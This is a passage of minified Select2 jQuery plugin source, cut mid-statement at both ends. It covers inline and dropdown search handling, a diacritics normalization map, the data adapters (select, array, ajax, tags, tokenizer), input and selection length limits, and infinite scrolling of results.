r=this,i=t.id+"-results";e.call(this,t,n),t.on("open",function(){r.$search.attr("aria-controls",i),r.$search.trigger("focus")}),t.on("close",function(){r.$search.val(""),r.$search.removeAttr("aria-controls"),r.$search.removeAttr("aria-activedescendant"),r.$search.trigger("focus")}),t.on("enable",function(){r.$search.prop("disabled",!1),r._transferTabIndex()}),t.on("disable",function(){r.$search.prop("disabled",!0)}),t.on("focus",function(e){r.$search.trigger("focus")}),t.on("results:focus",function(e){e.data._resultId?r.$search.attr("aria-activedescendant",e.data._resultId):r.$search.removeAttr("aria-activedescendant")}),this.$selection.on("focusin",".select2-search--inline",function(e){r.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){r._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){if(e.stopPropagation(),r.trigger("keypress",e),r._keyUpPrevented=e.isDefaultPrevented(),e.which===l.BACKSPACE&&""===r.$search.val()){var t=r.$searchContainer.prev(".select2-selection__choice");if(0<t.length){var n=a.GetData(t[0],"data");r.searchRemoveChoice(n),e.preventDefault()}}}),this.$selection.on("click",".select2-search--inline",function(e){r.$search.val()&&e.stopPropagation()});var o=document.documentMode,s=o&&o<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(e){s?r.$selection.off("input.search input.searchcheck"):r.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(e){if(s&&"input"===e.type)r.$selection.off("input.search input.searchcheck");else{var t=e.which;t!=l.SHIFT&&t!=l.CTRL&&t!=l.ALT&&t!=l.TAB&&r.handleSearch(e)}})},e.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},e.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},e.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.trigger("focus")},e.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var e=this.$search.val();this.trigger("query",{term:e})}this._keyUpPrevented=!1},e.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},e.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";""!==this.$search.attr("placeholder")?e=this.$selection.find(".select2-selection__rendered").width():e=.75*(this.$search.val().length+1)+"em";this.$search.css("width",e)},e}),e.define("select2/selection/eventRelay",["jquery"],function(s){function e(){}return e.prototype.bind=function(e,t,n){var r=this,i=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],o=["opening","closing","selecting","unselecting","clearing"];e.call(this,t,n),t.on("*",function(e,t){if(-1!==s.inArray(e,i)){t=t||{};var n=s.Event("select2:"+e,{params:t});r.$element.trigger(n),-1!==s.inArray(e,o)&&(t.prevented=n.isDefaultPrevented())}})},e}),e.define("select2/translation",["jquery","require"],function(t,n){function r(e){this.dict=e||{}}return r.prototype.all=function(){return this.dict},r.prototype.get=function(e){return this.dict[e]},r.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},r._cache={},r.loadPath=function(e){if(!(e in r._cache)){var t=n(e);r._cache[e]=t}return new r(r._cache[e])},r}),e.define("select2/diacritics",[],function(){return{"Ⓐ":"A","Ａ":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","Ｂ":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","Ｃ":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","Ｄ":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","Ǳ":"DZ","Ǆ":"DZ","ǲ":"Dz","ǅ":"Dz","Ⓔ":"E","Ｅ":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","Ｆ":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","Ｇ":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","Ｈ":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","Ｉ":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","Ｊ":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","Ｋ":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","Ｌ":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","Ǉ":"LJ","ǈ":"Lj","Ⓜ":"M","Ｍ":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","Ｎ":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","Ǌ":"NJ","ǋ":"Nj","Ⓞ":"O","Ｏ":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Œ":"OE","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","Ｐ":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Ｑ":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","Ｒ":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","Ｓ":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","Ｔ":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","Ｕ":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","Ｖ":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","Ｗ":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","Ｘ":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Ｙ":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Ｚ":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","ａ":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","ｂ":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","ｃ":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","ｄ":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","ǳ":"dz","ǆ":"dz","ⓔ":"e","ｅ":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","ｆ":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","ｇ":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","ｈ":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","ｉ":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","ｊ":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","ｋ":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","ｌ":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","ǉ":"lj","ⓜ":"m","ｍ":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","ｎ":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ŉ":"n","ꞑ":"n","ꞥ":"n","ǌ":"nj","ⓞ":"o","ｏ":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","œ":"oe","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","ｐ":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","ｑ":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","ｒ":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","ｓ":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","ｔ":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","ｕ":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","ｖ":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","ｗ":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","ｘ":"x","ẋ":"x","ẍ":"x","ⓨ":"y","ｙ":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","ｚ":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ώ":"ω","ς":"σ","’":"'"}}),e.define("select2/data/base",["../utils"],function(r){function n(e,t){n.__super__.constructor.call(this)}return r.Extend(n,r.Observable),n.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},n.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},n.prototype.bind=function(e,t){},n.prototype.destroy=function(){},n.prototype.generateResultId=function(e,t){var n=e.id+"-result-";return n+=r.generateChars(4),null!=t.id?n+="-"+t.id.toString():n+="-"+r.generateChars(4),n},n}),e.define("select2/data/select",["./base","../utils","jquery"],function(e,a,l){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return a.Extend(n,e),n.prototype.current=function(e){var n=[],r=this;this.$element.find(":selected").each(function(){var e=l(this),t=r.item(e);n.push(t)}),e(n)},n.prototype.select=function(i){var o=this;if(i.selected=!0,l(i.element).is("option"))return i.element.selected=!0,void this.$element.trigger("change");if(this.$element.prop("multiple"))this.current(function(e){var t=[];(i=[i]).push.apply(i,e);for(var n=0;n<i.length;n++){var r=i[n].id;-1===l.inArray(r,t)&&t.push(r)}o.$element.val(t),o.$element.trigger("change")});else{var e=i.id;this.$element.val(e),this.$element.trigger("change")}},n.prototype.unselect=function(i){var o=this;if(this.$element.prop("multiple")){if(i.selected=!1,l(i.element).is("option"))return i.element.selected=!1,void this.$element.trigger("change");this.current(function(e){for(var t=[],n=0;n<e.length;n++){var r=e[n].id;r!==i.id&&-1===l.inArray(r,t)&&t.push(r)}o.$element.val(t),o.$element.trigger("change")})}},n.prototype.bind=function(e,t){var n=this;(this.container=e).on("select",function(e){n.select(e.data)}),e.on("unselect",function(e){n.unselect(e.data)})},n.prototype.destroy=function(){this.$element.find("*").each(function(){a.RemoveData(this)})},n.prototype.query=function(r,e){var i=[],o=this;this.$element.children().each(function(){var e=l(this);if(e.is("option")||e.is("optgroup")){var t=o.item(e),n=o.matches(r,t);null!==n&&i.push(n)}}),e({results:i})},n.prototype.addOptions=function(e){a.appendMany(this.$element,e)},n.prototype.option=function(e){var t;e.children?(t=document.createElement("optgroup")).label=e.text:void 0!==(t=document.createElement("option")).textContent?t.textContent=e.text:t.innerText=e.text,void 0!==e.id&&(t.value=e.id),e.disabled&&(t.disabled=!0),e.selected&&(t.selected=!0),e.title&&(t.title=e.title);var n=l(t),r=this._normalizeItem(e);return r.element=t,a.StoreData(t,"data",r),n},n.prototype.item=function(e){var t={};if(null!=(t=a.GetData(e[0],"data")))return t;if(e.is("option"))t={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){t={text:e.prop("label"),children:[],title:e.prop("title")};for(var n=e.children("option"),r=[],i=0;i<n.length;i++){var o=l(n[i]),s=this.item(o);r.push(s)}t.children=r}return(t=this._normalizeItem(t)).element=e[0],a.StoreData(e[0],"data",t),t},n.prototype._normalizeItem=function(e){e!==Object(e)&&(e={id:e,text:e});return null!=(e=l.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&null!=this.container&&(e._resultId=this.generateResultId(this.container,e)),l.extend({},{selected:!1,disabled:!1},e)},n.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},n}),e.define("select2/data/array",["./select","../utils","jquery"],function(e,f,g){function r(e,t){this._dataToConvert=t.get("data")||[],r.__super__.constructor.call(this,e,t)}return f.Extend(r,e),r.prototype.bind=function(e,t){r.__super__.bind.call(this,e,t),this.addOptions(this.convertToOptions(this._dataToConvert))},r.prototype.select=function(n){var e=this.$element.find("option").filter(function(e,t){return t.value==n.id.toString()});0===e.length&&(e=this.option(n),this.addOptions(e)),r.__super__.select.call(this,n)},r.prototype.convertToOptions=function(e){var t=this,n=this.$element.find("option"),r=n.map(function(){return t.item(g(this)).id}).get(),i=[];function o(e){return function(){return g(this).val()==e.id}}for(var s=0;s<e.length;s++){var a=this._normalizeItem(e[s]);if(0<=g.inArray(a.id,r)){var l=n.filter(o(a)),c=this.item(l),u=g.extend(!0,{},a,c),d=this.option(u);l.replaceWith(d)}else{var p=this.option(a);if(a.children){var h=this.convertToOptions(a.children);f.appendMany(p,h)}i.push(p)}}return i},r}),e.define("select2/data/ajax",["./array","../utils","jquery"],function(e,t,o){function n(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),n.__super__.constructor.call(this,e,t)}return t.Extend(n,e),n.prototype._applyDefaults=function(e){var t={data:function(e){return o.extend({},e,{q:e.term})},transport:function(e,t,n){var r=o.ajax(e);return r.then(t),r.fail(n),r}};return o.extend({},t,e,!0)},n.prototype.processResults=function(e){return e},n.prototype.query=function(n,r){var i=this;null!=this._request&&(o.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var t=o.extend({type:"GET"},this.ajaxOptions);function e(){var e=t.transport(t,function(e){var t=i.processResults(e,n);i.options.get("debug")&&window.console&&console.error&&(t&&t.results&&o.isArray(t.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),r(t)},function(){"status"in e&&(0===e.status||"0"===e.status)||i.trigger("results:message",{message:"errorLoading"})});i._request=e}"function"==typeof t.url&&(t.url=t.url.call(this.$element,n)),"function"==typeof t.data&&(t.data=t.data.call(this.$element,n)),this.ajaxOptions.delay&&null!=n.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(e,this.ajaxOptions.delay)):e()},n}),e.define("select2/data/tags",["jquery"],function(u){function e(e,t,n){var r=n.get("tags"),i=n.get("createTag");void 0!==i&&(this.createTag=i);var o=n.get("insertTag");if(void 0!==o&&(this.insertTag=o),e.call(this,t,n),u.isArray(r))for(var s=0;s<r.length;s++){var a=r[s],l=this._normalizeItem(a),c=this.option(l);this.$element.append(c)}}return e.prototype.query=function(e,c,u){var d=this;this._removeOldTags(),null!=c.term&&null==c.page?e.call(this,c,function e(t,n){for(var r=t.results,i=0;i<r.length;i++){var o=r[i],s=null!=o.children&&!e({results:o.children},!0);if((o.text||"").toUpperCase()===(c.term||"").toUpperCase()||s)return!n&&(t.data=r,void u(t))}if(n)return!0;var a=d.createTag(c);if(null!=a){var l=d.option(a);l.attr("data-select2-tag",!0),d.addOptions([l]),d.insertTag(r,a)}t.results=r,u(t)}):e.call(this,c,u)},e.prototype.createTag=function(e,t){var n=u.trim(t.term);return""===n?null:{id:n,text:n}},e.prototype.insertTag=function(e,t,n){t.unshift(n)},e.prototype._removeOldTags=function(e){this.$element.find("option[data-select2-tag]").each(function(){this.selected||u(this).remove()})},e}),e.define("select2/data/tokenizer",["jquery"],function(d){function e(e,t,n){var r=n.get("tokenizer");void 0!==r&&(this.tokenizer=r),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,t,n){var r=this;t.term=t.term||"";var i=this.tokenizer(t,this.options,function(e){var t=r._normalizeItem(e);if(!r.$element.find("option").filter(function(){return d(this).val()===t.id}).length){var n=r.option(t);n.attr("data-select2-tag",!0),r._removeOldTags(),r.addOptions([n])}!function(e){r.trigger("select",{data:e})}(t)});i.term!==t.term&&(this.$search.length&&(this.$search.val(i.term),this.$search.trigger("focus")),t.term=i.term),e.call(this,t,n)},e.prototype.tokenizer=function(e,t,n,r){for(var i=n.get("tokenSeparators")||[],o=t.term,s=0,a=this.createTag||function(e){return{id:e.term,text:e.term}};s<o.length;){var l=o[s];if(-1!==d.inArray(l,i)){var c=o.substr(0,s),u=a(d.extend({},t,{term:c}));null!=u?(r(u),o=o.substr(s+1)||"",s=0):s++}else s++}return{term:o}},e}),e.define("select2/data/minimumInputLength",[],function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumInputLength",[],function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",0<this.maximumInputLength&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("select",function(){r._checkIfMaximumSelected()})},e.prototype.query=function(e,t,n){var r=this;this._checkIfMaximumSelected(function(){e.call(r,t,n)})},e.prototype._checkIfMaximumSelected=function(e,n){var r=this;this.current(function(e){var t=null!=e?e.length:0;0<r.maximumSelectionLength&&t>=r.maximumSelectionLength?r.trigger("results:message",{message:"maximumSelected",args:{maximum:r.maximumSelectionLength}}):n&&n()})},e}),e.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),e.define("select2/dropdown/search",["jquery","../utils"],function(o,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),n=o('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></span>');return this.$searchContainer=n,this.$search=n.find("input"),t.prepend(n),t},t.prototype.bind=function(e,t,n){var r=this,i=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){r.trigger("keypress",e),r._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){o(this).off("keyup")}),this.$search.on("keyup input",function(e){r.handleSearch(e)}),t.on("open",function(){r.$search.attr("tabindex",0),r.$search.attr("aria-controls",i),r.$search.trigger("focus"),window.setTimeout(function(){r.$search.trigger("focus")},0)}),t.on("close",function(){r.$search.attr("tabindex",-1),r.$search.removeAttr("aria-controls"),r.$search.removeAttr("aria-activedescendant"),r.$search.val(""),r.$search.trigger("blur")}),t.on("focus",function(){t.isOpen()||r.$search.trigger("focus")}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(r.showSearch(e)?r.$searchContainer.removeClass("select2-search--hide"):r.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){e.data._resultId?r.$search.attr("aria-activedescendant",e.data._resultId):r.$search.removeAttr("aria-activedescendant")})},t.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),e.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,r){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,r)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),r=t.length-1;0<=r;r--){var i=t[r];this.placeholder.id===i.id&&n.splice(r,1)}return n},e}),e.define("select2/dropdown/infiniteScroll",["jquery"],function(n){function e(e,t,n,r){this.lastParams={},e.call(this,t,n,r),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("query",function(e){r.lastParams=e,r.loading=!0}),t.on("query:append",function(e){r.lastParams=e,r.loading=!0}),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},e.prototype.loadMoreIfNeeded=function(){var e=n.contains(document.documentElement,this.$loadingMore[0]);if(!this.loading&&e){var t=this.$results.offset().top+this.$results.outerHeight(!1);this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)<=t+50&&this.loadMore()}},e.prototype.loadMore=function(){this.loading=!0;var e=n.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return 